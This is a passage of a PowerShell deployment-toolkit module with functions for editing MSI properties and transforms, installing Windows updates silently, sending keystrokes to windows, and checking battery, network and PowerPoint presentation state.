-PropertyName 'StringData' -ArgumentList @($TablePropertyValueColumnNum)) -Force [__comobject]$Record = Invoke-ObjectMethod -InputObject $View -MethodName 'Fetch' } Write-Output -InputObject $TableProperties } Else { [__comobject]$SummaryInformation = Get-ObjectProperty -InputObject $Database -PropertyName 'SummaryInformation' [hashtable]$SummaryInfoProperty = @{} $SummaryInfoProperty.Add('CodePage', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(1))) $SummaryInfoProperty.Add('Title', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(2))) $SummaryInfoProperty.Add('Subject', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(3))) $SummaryInfoProperty.Add('Author', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(4))) $SummaryInfoProperty.Add('Keywords', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(5))) $SummaryInfoProperty.Add('Comments', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(6))) $SummaryInfoProperty.Add('Template', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(7))) $SummaryInfoProperty.Add('LastSavedBy', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(8))) $SummaryInfoProperty.Add('RevisionNumber', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(9))) $SummaryInfoProperty.Add('LastPrinted', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(11))) $SummaryInfoProperty.Add('CreateTimeDate', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(12))) $SummaryInfoProperty.Add('LastSaveTimeDate', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(13))) $SummaryInfoProperty.Add('PageCount', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(14))) $SummaryInfoProperty.Add('WordCount', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(15))) $SummaryInfoProperty.Add('CharacterCount', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(16))) $SummaryInfoProperty.Add('CreatingApplication', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(18))) $SummaryInfoProperty.Add('Security', (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(19))) [psobject]$SummaryInfoProperties = New-Object -TypeName 'PSObject' -Property $SummaryInfoProperty Write-Output -InputObject $SummaryInfoProperties } } Catch { Write-Log -Message "Failed to get the MSI table [$Table]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to get the MSI table [$Table]: $($_.Exception.Message)" } } Finally { Try { If ($View) { $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Close' -ArgumentList @() Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($View) } Catch { } } ElseIf($SummaryInformation) { Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($SummaryInformation) } Catch { } } } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($DataBase) } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($Installer) } Catch { } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-MsiProperty { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [__comobject]$DataBase, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$PropertyName, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$PropertyValue, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Set the MSI Property Name [$PropertyName] with Property Value [$PropertyValue]." -Source ${CmdletName} [__comobject]$View = Invoke-ObjectMethod -InputObject $DataBase -MethodName 'OpenView' -ArgumentList @("SELECT * FROM Property WHERE Property='$PropertyName'") $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Execute' [__comobject]$Record = Invoke-ObjectMethod -InputObject $View -MethodName 'Fetch' $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Close' -ArgumentList @() $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($View) If ($Record) { [__comobject]$View = Invoke-ObjectMethod -InputObject $DataBase -MethodName 'OpenView' -ArgumentList @("UPDATE Property SET Value='$PropertyValue' WHERE Property='$PropertyName'") } Else { [__comobject]$View = Invoke-ObjectMethod -InputObject $DataBase -MethodName 'OpenView' -ArgumentList @("INSERT INTO Property (Property, Value) VALUES ('$PropertyName','$PropertyValue')") } $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Execute' } Catch { Write-Log -Message "Failed to set the MSI Property Name [$PropertyName] with Property Value [$PropertyValue]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to set the MSI Property Name [$PropertyName] with Property Value [$PropertyValue]: $($_.Exception.Message)" } } Finally { Try { If ($View) { $null = Invoke-ObjectMethod -InputObject $View -MethodName 'Close' -ArgumentList @() $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($View) } } Catch { } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function New-MsiTransform { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [string]$MsiPath, [Parameter(Mandatory=$false)] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [string]$ApplyTransformPath, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$NewTransformPath, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [hashtable]$TransformProperties, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [int32]$msiOpenDatabaseModeReadOnly = 0 [int32]$msiOpenDatabaseModeTransact = 1 [int32]$msiViewModifyUpdate = 2 [int32]$msiViewModifyReplace = 4 [int32]$msiViewModifyDelete = 6 [int32]$msiTransformErrorNone = 0 [int32]$msiTransformValidationNone = 0 [int32]$msiSuppressApplyTransformErrors = 63 } Process { Try { Write-Log -Message "Create a transform file for MSI [$MsiPath]." -Source ${CmdletName} [string]$MsiParentFolder = Split-Path -Path $MsiPath -Parent -ErrorAction 'Stop' [string]$TempMsiPath = Join-Path -Path $MsiParentFolder -ChildPath ([IO.Path]::GetFileName(([IO.Path]::GetTempFileName()))) -ErrorAction 'Stop' Write-Log -Message "Copy MSI database in path [$MsiPath] to destination [$TempMsiPath]." -Source ${CmdletName} $null = Copy-Item -LiteralPath $MsiPath -Destination $TempMsiPath -Force -ErrorAction 'Stop' [__comobject]$Installer = New-Object -ComObject 'WindowsInstaller.Installer' -ErrorAction 'Stop' Write-Log -Message "Open the MSI database [$MsiPath] in read only mode." -Source ${CmdletName} [__comobject]$MsiPathDatabase = Invoke-ObjectMethod -InputObject $Installer -MethodName 'OpenDatabase' -ArgumentList @($MsiPath, $msiOpenDatabaseModeReadOnly) Write-Log -Message "Open the MSI database [$TempMsiPath] in view/modify/update mode." -Source ${CmdletName} [__comobject]$TempMsiPathDatabase = Invoke-ObjectMethod -InputObject $Installer -MethodName 'OpenDatabase' -ArgumentList @($TempMsiPath, $msiViewModifyUpdate) If ($ApplyTransformPath) { Write-Log -Message "Apply transform file [$ApplyTransformPath] to MSI database [$TempMsiPath]." -Source ${CmdletName} $null = Invoke-ObjectMethod -InputObject $TempMsiPathDatabase -MethodName 'ApplyTransform' -ArgumentList @($ApplyTransformPath, $msiSuppressApplyTransformErrors) } If (-not $NewTransformPath) { If ($ApplyTransformPath) { [string]$NewTransformFileName = [IO.Path]::GetFileNameWithoutExtension($ApplyTransformPath) + '.new' + [IO.Path]::GetExtension($ApplyTransformPath) } Else { [string]$NewTransformFileName = [IO.Path]::GetFileNameWithoutExtension($MsiPath) + '.mst' } [string]$NewTransformPath = Join-Path -Path $MsiParentFolder -ChildPath $NewTransformFileName -ErrorAction 'Stop' } $TransformProperties.GetEnumerator() | ForEach-Object { Set-MsiProperty -DataBase $TempMsiPathDatabase -PropertyName $_.Key -PropertyValue $_.Value } $null = Invoke-ObjectMethod -InputObject $TempMsiPathDatabase -MethodName 'Commit' $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($TempMsiPathDatabase) Write-Log -Message "Re-open the MSI database [$TempMsiPath] in read only mode." -Source ${CmdletName} [__comobject]$TempMsiPathDatabase = Invoke-ObjectMethod -InputObject $Installer -MethodName 'OpenDatabase' -ArgumentList @($TempMsiPath, $msiOpenDatabaseModeReadOnly) If (Test-Path -LiteralPath $NewTransformPath -PathType 'Leaf' -ErrorAction 'Stop') { Write-Log -Message "A transform file of the same name already exists. Deleting transform file [$NewTransformPath]." -Source ${CmdletName} $null = Remove-Item -LiteralPath $NewTransformPath -Force -ErrorAction 'Stop' } Write-Log -Message "Generate new transform file [$NewTransformPath]." -Source ${CmdletName} $null = Invoke-ObjectMethod -InputObject $TempMsiPathDatabase -MethodName 'GenerateTransform' -ArgumentList @($MsiPathDatabase, $NewTransformPath) $null = Invoke-ObjectMethod -InputObject $TempMsiPathDatabase -MethodName 'CreateTransformSummaryInfo' -ArgumentList @($MsiPathDatabase, $NewTransformPath, $msiTransformErrorNone, $msiTransformValidationNone) If (Test-Path -LiteralPath $NewTransformPath -PathType 'Leaf' -ErrorAction 'Stop') { Write-Log -Message "Successfully created new transform file in path [$NewTransformPath]." -Source ${CmdletName} } Else { Throw "Failed to generate transform file in path [$NewTransformPath]." } } Catch { Write-Log -Message "Failed to create new transform file in path [$NewTransformPath]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to create new transform file in path [$NewTransformPath]: $($_.Exception.Message)" } } Finally { Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($TempMsiPathDatabase) } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($MsiPathDatabase) } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($Installer) } Catch { } Try { If (Test-Path -LiteralPath $TempMsiPath -PathType 'Leaf' -ErrorAction 'Stop') { $null = Remove-Item -LiteralPath $TempMsiPath -Force -ErrorAction 'Stop' } } Catch { } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-MSUpdates { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,Position=0,HelpMessage='Enter the KB Number for the Microsoft Update')] [ValidateNotNullorEmpty()] [string]$KBNumber, [Parameter(Mandatory=$false,Position=1)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Check if Microsoft Update [$kbNumber] is installed." -Source ${CmdletName} [boolean]$kbFound = $false Get-Hotfix -Id $kbNumber -ErrorAction 'SilentlyContinue' | ForEach-Object { $kbFound = $true } If (-not $kbFound) { Write-Log -Message 'Unable to detect Windows update history via Get-Hotfix cmdlet. Trying via COM object.' -Source ${CmdletName} [__comobject]$UpdateSession = New-Object -ComObject "Microsoft.Update.Session" [__comobject]$UpdateSearcher = $UpdateSession.CreateUpdateSearcher() $UpdateSearcher.IncludePotentiallySupersededUpdates = $false $UpdateSearcher.Online = $false [int32]$UpdateHistoryCount = $UpdateSearcher.GetTotalHistoryCount() If ($UpdateHistoryCount -gt 0) { [psobject]$UpdateHistory = $UpdateSearcher.QueryHistory(0, $UpdateHistoryCount) | Select-Object -Property 'Title','Date', @{Name = 'Operation'; Expression = { Switch ($_.Operation) { 1 {'Installation'}; 2 {'Uninstallation'}; 3 {'Other'} } } }, @{Name = 'Status'; Expression = { Switch ($_.ResultCode) { 0 {'Not Started'}; 1 {'In Progress'}; 2 {'Successful'}; 3 {'Incomplete'}; 4 {'Failed'}; 5 {'Aborted'} } } }, 'Description' | Sort-Object -Property 'Date' -Descending ForEach ($Update in $UpdateHistory) { If (($Update.Operation -ne 'Other') -and ($Update.Title -match "\($KBNumber\)")) { $LatestUpdateHistory = $Update Break } } If (($LatestUpdateHistory.Operation -eq 'Installation') -and ($LatestUpdateHistory.Status -eq 'Successful')) { Write-Log -Message "Discovered the following Microsoft Update: `n$($LatestUpdateHistory | Format-List | Out-String)" -Source ${CmdletName} $kbFound = $true } $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($UpdateSession) $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($UpdateSearcher) } Else { Write-Log -Message 'Unable to detect Windows update history via COM object.' -Source ${CmdletName} } } If (-not $kbFound) { Write-Log -Message "Microsoft Update [$kbNumber] is not installed." -Source ${CmdletName} Write-Output -InputObject $false } Else { Write-Log -Message "Microsoft Update [$kbNumber] is installed." -Source ${CmdletName} Write-Output -InputObject $true } } Catch { Write-Log -Message "Failed discovering Microsoft Update [$kbNumber]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed discovering Microsoft Update [$kbNumber]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Install-MSUpdates { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Directory ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Write-Log -Message "Recursively install all Microsoft Updates in directory [$Directory]." -Source ${CmdletName} $kbPattern = '(?i)kb\d{6,8}' [IO.FileInfo[]]$files = Get-ChildItem -LiteralPath $Directory -Recurse -Include ('*.exe','*.msu','*.msp') ForEach ($file in $files) { If ($file.Name -match 'redist') { [version]$redistVersion = [Diagnostics.FileVersionInfo]::GetVersionInfo($file.FullName).ProductVersion [string]$redistDescription = [Diagnostics.FileVersionInfo]::GetVersionInfo($file.FullName).FileDescription Write-Log -Message "Install [$redistDescription $redistVersion]..." -Source ${CmdletName} If ($redistDescription -match 'Win32 Cabinet Self-Extractor') { Execute-Process -Path $file.FullName -Parameters '/q' -WindowStyle 'Hidden' -ContinueOnError $true } Else { Execute-Process -Path $file.FullName -Parameters '/quiet /norestart' -WindowStyle 'Hidden' -ContinueOnError $true } } Else { [string]$kbNumber = [regex]::Match($file.Name, $kbPattern).ToString() If (-not $kbNumber) { Continue } If (-not (Test-MSUpdates -KBNumber $kbNumber)) { Write-Log -Message "KB Number [$KBNumber] was not detected and will be installed." -Source ${CmdletName} Switch ($file.Extension) { '.exe' { Execute-Process -Path $file.FullName -Parameters '/quiet /norestart' -WindowStyle 'Hidden' -ContinueOnError $true } '.msu' { Execute-Process -Path 'wusa.exe' -Parameters "`"$($file.FullName)`" /quiet /norestart" -WindowStyle 'Hidden' -ContinueOnError $true } '.msp' { Execute-MSI -Action 'Patch' -Path $file.FullName -ContinueOnError $true } } } Else { Write-Log -Message "KB Number [$kbNumber] is already installed. Continue..." -Source ${CmdletName} } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-WindowTitle { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,ParameterSetName='SearchWinTitle')] [AllowEmptyString()] [string]$WindowTitle, [Parameter(Mandatory=$true,ParameterSetName='GetAllWinTitles')] [ValidateNotNullorEmpty()] [switch]$GetAllWindowTitles = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$DisableFunctionLogging = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($PSCmdlet.ParameterSetName -eq 'SearchWinTitle') { If (-not $DisableFunctionLogging) { Write-Log -Message "Find open window title(s) [$WindowTitle] using regex matching." -Source ${CmdletName} } } ElseIf ($PSCmdlet.ParameterSetName -eq 'GetAllWinTitles') { If (-not $DisableFunctionLogging) { Write-Log -Message 'Find all open window title(s).' -Source ${CmdletName} } } [IntPtr[]]$VisibleWindowHandles = [PSADT.UiAutomation]::EnumWindows() | Where-Object { [PSADT.UiAutomation]::IsWindowVisible($_) } ForEach ($VisibleWindowHandle in $VisibleWindowHandles) { If (-not $VisibleWindowHandle) { Continue } [string]$VisibleWindowTitle = [PSADT.UiAutomation]::GetWindowText($VisibleWindowHandle) If ($VisibleWindowTitle) { [Diagnostics.Process]$Process = Get-Process -ErrorAction 'Stop' | Where-Object { $_.Id -eq [PSADT.UiAutomation]::GetWindowThreadProcessId($VisibleWindowHandle) } If ($Process) { [psobject]$VisibleWindow = New-Object -TypeName 'PSObject' -Property @{ WindowTitle = $VisibleWindowTitle WindowHandle = $VisibleWindowHandle ParentProcess= $Process.Name ParentProcessMainWindowHandle = $Process.MainWindowHandle ParentProcessId = $Process.Id } If ($PSCmdlet.ParameterSetName -eq 'SearchWinTitle') { $MatchResult = $VisibleWindow.WindowTitle -match $WindowTitle If ($MatchResult) { [psobject[]]$VisibleWindows += $VisibleWindow } } ElseIf ($PSCmdlet.ParameterSetName -eq 'GetAllWinTitles') { [psobject[]]$VisibleWindows += $VisibleWindow } } } } } Catch { If (-not $DisableFunctionLogging) { Write-Log -Message "Failed to get requested window title(s). `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } } End { Write-Output -InputObject $VisibleWindows If ($DisableFunctionLogging) { . $RevertScriptLogging } Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Send-Keys { [CmdletBinding()] Param ( [Parameter(Mandatory=$false,Position=0)] [AllowEmptyString()] [ValidateNotNull()] [string]$WindowTitle, [Parameter(Mandatory=$false,Position=1)] [ValidateNotNullorEmpty()] [switch]$GetAllWindowTitles = $false, [Parameter(Mandatory=$false,Position=2)] [ValidateNotNullorEmpty()] [IntPtr]$WindowHandle, [Parameter(Mandatory=$false,Position=3)] [ValidateNotNullorEmpty()] [string]$Keys, [Parameter(Mandatory=$false,Position=4)] [ValidateNotNullorEmpty()] [int32]$WaitSeconds ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header Add-Type -AssemblyName 'System.Windows.Forms' -ErrorAction 'Stop' [scriptblock]$SendKeys = { Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [IntPtr]$WindowHandle ) Try { [boolean]$IsBringWindowToFrontSuccess = [PSADT.UiAutomation]::BringWindowToFront($WindowHandle) If (-not $IsBringWindowToFrontSuccess) { Throw 'Failed to bring window to foreground.'} If ($Keys) { [boolean]$IsWindowModal = If ([PSADT.UiAutomation]::IsWindowEnabled($WindowHandle)) { $false } Else { $true } If ($IsWindowModal) { Throw 'Unable to send keys to window because it may be disabled due to a modal dialog being shown.' } [Windows.Forms.SendKeys]::SendWait($Keys) Write-Log -Message "Sent key(s) [$Keys] to window title [$($Window.WindowTitle)] with window handle [$WindowHandle]." -Source ${CmdletName} If ($WaitSeconds) { Write-Log -Message "Sleeping for [$WaitSeconds] seconds." -Source ${CmdletName} Start-Sleep -Seconds $WaitSeconds } } } Catch { Write-Log -Message "Failed to send keys to window title [$($Window.WindowTitle)] with window handle [$WindowHandle]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } } Process { Try { If ($WindowHandle) { [psobject]$Window = Get-WindowTitle -GetAllWindowTitles | Where-Object { $_.WindowHandle -eq $WindowHandle } If (-not $Window) { Write-Log -Message "No windows with Window Handle [$WindowHandle] were discovered." -Severity 2 -Source ${CmdletName} Return } & $SendKeys -WindowHandle $Window.WindowHandle } Else { [hashtable]$GetWindowTitleSplat = @{} If ($GetAllWindowTitles) { $GetWindowTitleSplat.Add( 'GetAllWindowTitles', $GetAllWindowTitles) } Else { $GetWindowTitleSplat.Add( 'WindowTitle', $WindowTitle) } [psobject[]]$AllWindows = Get-WindowTitle @GetWindowTitleSplat If (-not $AllWindows) { Write-Log -Message 'No windows with the specified details were discovered.' -Severity 2 -Source ${CmdletName} Return } ForEach ($Window in $AllWindows) { & $SendKeys -WindowHandle $Window.WindowHandle } } } Catch { Write-Log -Message "Failed to send keys to specified window. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-Battery { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$PassThru = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header Add-Type -Assembly 'System.Windows.Forms' -ErrorAction 'SilentlyContinue' [hashtable]$SystemTypePowerStatus = @{ } } Process { Write-Log -Message 'Check if system is using AC power or if it is running on battery...' -Source ${CmdletName} [Windows.Forms.PowerStatus]$PowerStatus = [Windows.Forms.SystemInformation]::PowerStatus [string]$PowerLineStatus = $PowerStatus.PowerLineStatus $SystemTypePowerStatus.Add('ACPowerLineStatus', $PowerStatus.PowerLineStatus) [string]$BatteryChargeStatus = $PowerStatus.BatteryChargeStatus $SystemTypePowerStatus.Add('BatteryChargeStatus', $PowerStatus.BatteryChargeStatus) [single]$BatteryLifePercent = $PowerStatus.BatteryLifePercent If (($BatteryChargeStatus -eq 'NoSystemBattery') -or ($BatteryChargeStatus -eq 'Unknown')) { [single]$BatteryLifePercent = 0.0 } $SystemTypePowerStatus.Add('BatteryLifePercent', $PowerStatus.BatteryLifePercent) [int32]$BatteryLifeRemaining = $PowerStatus.BatteryLifeRemaining $SystemTypePowerStatus.Add('BatteryLifeRemaining', $PowerStatus.BatteryLifeRemaining) [int32]$BatteryFullLifetime = $PowerStatus.BatteryFullLifetime $SystemTypePowerStatus.Add('BatteryFullLifetime', $PowerStatus.BatteryFullLifetime) [boolean]$OnACPower = $false If ($PowerLineStatus -eq 'Online') { Write-Log -Message 'System is using AC power.' -Source ${CmdletName} $OnACPower = $true } ElseIf ($PowerLineStatus -eq 'Offline') { Write-Log -Message 'System is using battery power.' -Source ${CmdletName} } ElseIf ($PowerLineStatus -eq 'Unknown') { If (($BatteryChargeStatus -eq 'NoSystemBattery') -or ($BatteryChargeStatus -eq 'Unknown')) { Write-Log -Message "System power status is [$PowerLineStatus] and battery charge status is [$BatteryChargeStatus]. This is most likely due to a damaged battery so we will report system is using AC power." -Source ${CmdletName} $OnACPower = $true } Else { Write-Log -Message "System power status is [$PowerLineStatus] and battery charge status is [$BatteryChargeStatus]. Therefore, we will report system is using battery power." -Source ${CmdletName} } } $SystemTypePowerStatus.Add('IsUsingACPower', $OnACPower) [boolean]$IsLaptop = $false If (($BatteryChargeStatus -eq 'NoSystemBattery') -or ($BatteryChargeStatus -eq 'Unknown')) { $IsLaptop = $false } Else { $IsLaptop = $true } [int32[]]$ChassisTypes = Get-WmiObject -Class 'Win32_SystemEnclosure' | Where-Object { $_.ChassisTypes } | Select-Object -ExpandProperty 'ChassisTypes' Write-Log -Message "The following system chassis types were detected [$($ChassisTypes -join ',')]." -Source ${CmdletName} ForEach ($ChassisType in $ChassisTypes) { Switch ($ChassisType) { { $_ -eq 9 -or $_ -eq 10 -or $_ -eq 14 } { $IsLaptop = $true } { $_ -eq 3 } { $IsLaptop = $false } } } $SystemTypePowerStatus.Add('IsLaptop', $IsLaptop) If ($PassThru) { Write-Output -InputObject $SystemTypePowerStatus } Else { Write-Output -InputObject $OnACPower } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-NetworkConnection { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Write-Log -Message 'Check if system is using a wired network connection...' -Source ${CmdletName} [psobject[]]$networkConnected = Get-WmiObject -Class 'Win32_NetworkAdapter' | Where-Object { ($_.NetConnectionStatus -eq 2) -and ($_.NetConnectionID -match 'Local' -or $_.NetConnectionID -match 'Ethernet') -and ($_.NetConnectionID -notmatch 'Wireless') -and ($_.Name -notmatch 'Virtual') } -ErrorAction 'SilentlyContinue' [boolean]$onNetwork = $false If ($networkConnected) { Write-Log -Message 'Wired network connection found.' -Source ${CmdletName} [boolean]$onNetwork = $true } Else { Write-Log -Message 'Wired network connection not found.' -Source ${CmdletName} } Write-Output -InputObject $onNetwork } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-PowerPoint { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Check if PowerPoint is in either fullscreen slideshow mode or presentation mode...' -Source ${CmdletName} Try { [Diagnostics.Process[]]$PowerPointProcess = Get-Process -ErrorAction 'Stop' | Where-Object { $_.ProcessName -eq 'POWERPNT' } If ($PowerPointProcess) { [boolean]$IsPowerPointRunning = $true Write-Log -Message 'PowerPoint application is running.' -Source ${CmdletName} } Else { [boolean]$IsPowerPointRunning = $false Write-Log -Message 'PowerPoint application is not running.' -Source ${CmdletName} } } Catch { Throw } [nullable[boolean]]$IsPowerPointFullScreen = $false If ($IsPowerPointRunning) { If ([Environment]::UserInteractive) { [psobject]$PowerPointWindow = Get-WindowTitle -GetAllWindowTitles | Where-Object { $_.WindowTitle -match '^PowerPoint Slide Show' -or $_.WindowTitle -match '^PowerPoint-' } | Where-Object { $_.ParentProcess -eq 'POWERPNT'} | Select-Object -First 1 If ($PowerPointWindow) { [nullable[boolean]]$IsPowerPointFullScreen = $true Write-Log -Message 'Detected that PowerPoint process [POWERPNT] has a window with a title that beings with [PowerPoint Slide Show] or [PowerPoint-].' -Source ${CmdletName} } Else { Write-Log -Message 'Detected that PowerPoint process [POWERPNT] does not have a window with a title that beings with [PowerPoint Slide Show] or [PowerPoint-].' -Source ${CmdletName} Try { [int32[]]$PowerPointProcessIDs = $PowerPointProcess | Select-Object -ExpandProperty 'Id' -ErrorAction 'Stop' Write-Log -Message "PowerPoint process [POWERPNT] has process id(s) [$($PowerPointProcessIDs -join ', ')]." -Source ${CmdletName} } Catch { Write-Log -Message "Unable to retrieve process id(s) for [POWERPNT] process. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } If ((-not $IsPowerPointFullScreen) -and (([version]$envOSVersion).Major -gt 5)) { [string]$UserNotificationState = [PSADT.UiAutomation]::GetUserNotificationState() Write-Log -Message "Detected user notification state [$UserNotificationState]." -Source ${CmdletName} Switch ($UserNotificationState) { 'PresentationMode' { Write-Log -Message "Detected that system is in [Presentation Mode]." -Source ${CmdletName} [nullable[boolean]]$IsPowerPointFullScreen = $true } 'FullScreenOrPresentationModeOrLoginScreen' { If (([string]$PowerPointProcessIDs) -and ($PowerPointProcessIDs -contains [PSADT.UIAutomation]::GetWindowThreadProcessID([PSADT.UIAutomation]::GetForeGroundWindow()))) { Write-Log -Message "Detected that fullscreen foreground window matches PowerPoint process id." -Source ${CmdletName} [nullable[boolean]]$IsPowerPointFullScreen = $true } } } } } Else { [nullable[boolean]]$IsPowerPointFullScreen = $null Write-Log -Message 'Unable to run check to see if PowerPoint is in fullscreen mode or Presentation Mode because current process is not interactive. Configure script to run in interactive mode in your deployment tool. If using SCCM Application Model, then make sure "Allow users to view and interact with the program installation" is selected. If using SCCM Package Model, then make sure "Allow users to interact with this program" is selected.' -Severity 2 -Source ${CmdletName} } } } Catch { [nullable[boolean]]$IsPowerPointFullScreen = $null Write-Log -Message "Failed check to see if PowerPoint is running in fullscreen slideshow mode. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-Log -Message "PowerPoint is running in fullscreen mode [$IsPowerPointFullScreen]." -Source ${CmdletName} Write-Output -InputObject $IsPowerPointFullScreen Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Invoke-SCCMTask { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateSet('HardwareInventory','SoftwareInventory','HeartbeatDiscovery','SoftwareInventoryFileCollection','RequestMachinePolicy','EvaluateMachinePolicy','LocationServicesCleanup','SoftwareMeteringReport','SourceUpdate','PolicyAgentCleanup','RequestMachinePolicy2','CertificateMaintenance','PeerDistributionPointStatus','PeerDistributionPointProvisioning','ComplianceIntervalEnforcement','SoftwareUpdatesAgentAssignmentEvaluation','UploadStateMessage','StateMessageManager','SoftwareUpdatesScan','AMTProvisionCycle','UpdateStorePolicy','StateSystemBulkSend','ApplicationManagerPolicyAction','PowerManagementStartSummarizer')] [string]$ScheduleID, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name 